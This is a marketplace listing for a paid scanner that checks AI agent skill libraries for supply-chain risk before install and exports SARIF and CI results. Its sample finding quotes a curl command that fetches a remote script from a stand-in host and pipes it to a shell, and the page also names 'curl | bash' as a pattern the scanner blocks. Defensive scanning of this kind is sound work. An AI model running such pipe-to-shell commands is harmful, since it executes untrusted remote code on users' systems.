- Home
- Skills
- Agents & Orchestration
- Pre-Install Skill Security Gate Pro: batch-scan to SARIF/CI
Works with the AI Agents you already use
Pre-Install Skill Security Gate Pro: batch-scan to SARIF/CI
Use when you must batch-scan a skill library or PR for pre-install risk and export SARIF or CI findings mapped to agentic skill threat themes. This is not a malware proof.
$9.99
Pre-Install Skill Security Gate Pro: batch-scan to SARIF/CI
Example session with this skill installed
Scan ./skills for pre-install risk. Fail CI on CRITICAL. Write SARIF to out/preinstall.sarif.
- Read your context and instructions
- Compiled the pre-install security gate
Batch gate summary
| Skill | CRITICAL | HIGH | Verdict |
|---|---|---|---|
| awesome-code-reviewer | 2 | 1 | DO NOT INSTALL |
| internal-changelog | 0 | 0 | SAFE |
| community-env-doctor | 0 | 2 | CAUTION |
Sample CRITICAL finding
| Field | Value |
|---|---|
| Rule | preinstall.cmd.remote_pipe |
| Theme map | Unsafe command execution (agentic skills supply-chain class) |
| File | awesome-code-reviewer/scripts/setup.sh:34 |
| Evidence | `curl -sL https://telemetry.example.com/setup.sh |
| Remediation | Remove pipe-to-shell; pin and review any remote fetch offline |
$ python3 scripts/scan_skill_tree.py ./skills --fail-on critical --sarif out/preinstall.sarif
FAIL awesome-code-reviewer: 2 CRITICAL
exit 1
Next steps
- Quarantine FAIL skills; open issues with exported Markdown
- Re-run after publisher fixes; keep SARIF artifact on the PR
- Free one-folder chat gate remains at https://www.agensi.io/skills/pre-install-skill-security-gate-verdict-before-tool-access

Connects securely to your tools. The creator never sees your data.
About this skill
Free vs Pro
- Free gates one skill/folder in conversation with a verdict table; Pro runs
scripts/scan_skill_tree.pyacross a library - Free leaves reporting in chat; Pro exports SARIF + Markdown/JSON for reviewers
- Free has no CI exit contract; Pro ships
templates/github-action-preinstall-gate.ymlthat fails on CRITICAL (configurable) - Free names themes in prose; Pro attaches stable rule IDs and optional OWASP Agentic Skills theme mapping (honest: mapping aid, not certification)
- Free is the install-time gut check; Pro is the recurring library / PR control
Free version: https://www.agensi.io/skills/pre-install-skill-security-gate-verdict-before-tool-access
Upgrade Path
Upgrade when Free caught one bad skill and you still have forty community skills installed with no recurring control.
Free stays useful at the moment of install. Pro is for teams who treat skills like dependencies.
The Problem
One chat audit does not scale to a plugin directory. The next pull request adds three community skills and nobody re-runs the checklist. Without SARIF and a failing job, "we reviewed it once" becomes folklore.
What You Get
- Library scan (
scripts/scan_skill_tree.py): recurse skill trees, rate severity, and emit SAFE / CAUTION / DO NOT INSTALL per root, with--fail-onflags plus JSON or Markdown - SARIF export (
scripts/export_sarif.py): SARIF 2.1.0 for GitHub code scanning or a generic CI consumer - Finding map (
scripts/map_findings.py): stable rule IDs and optional OWASP Agentic Skills theme labels. The labels are a documentation map, not an official OWASP certification or endorsement - Merge gate (
templates/github-action-preinstall-gate.yml) plus a reviewer one-pager, rule-pack and verdict-policy references, and SAFE / CAUTION / DO NOT INSTALL fixtures
Why This Beats Prompting It Yourself
A prompt returns reassurance. Pro returns exit code 1 and a SARIF file. The difference is whether the next community skill can merge while still shipping curl | bash.
Use Cases
- CI on repos that vendor third-party skills
- Periodic audit of
~/.claude/skills/ team skill registries - Security review packets for enterprise allowlists
- Publisher self-audit before marketplace submit
Related cousins (not replaced)
- https://www.agensi.io/skills/prompt-injection-auditor (+ Pro if present)
- https://www.agensi.io/skills/ai-security-auditor (+ Pro) Keep those for deep prompt-layer / broad AI config work. This Pro is the pre-install / supply-chain gate.
Known Limitations
- Heuristic static analysis — not malware proof, not runtime monitoring
- Theme mapping to OWASP Agentic Skills is an orientation aid; not an official OWASP certification or endorsement
- Novel attacks and obfuscation can evade rules; defense in depth still required
- Network allowlist / permission hardening is out of band
- No guarantee of zero false positives/negatives
- No fearmongering sales copy; no invented incident claims about your org
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Agents & Orchestration.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 10 days ago
- Software
Python
Permissions
Allowed Hosts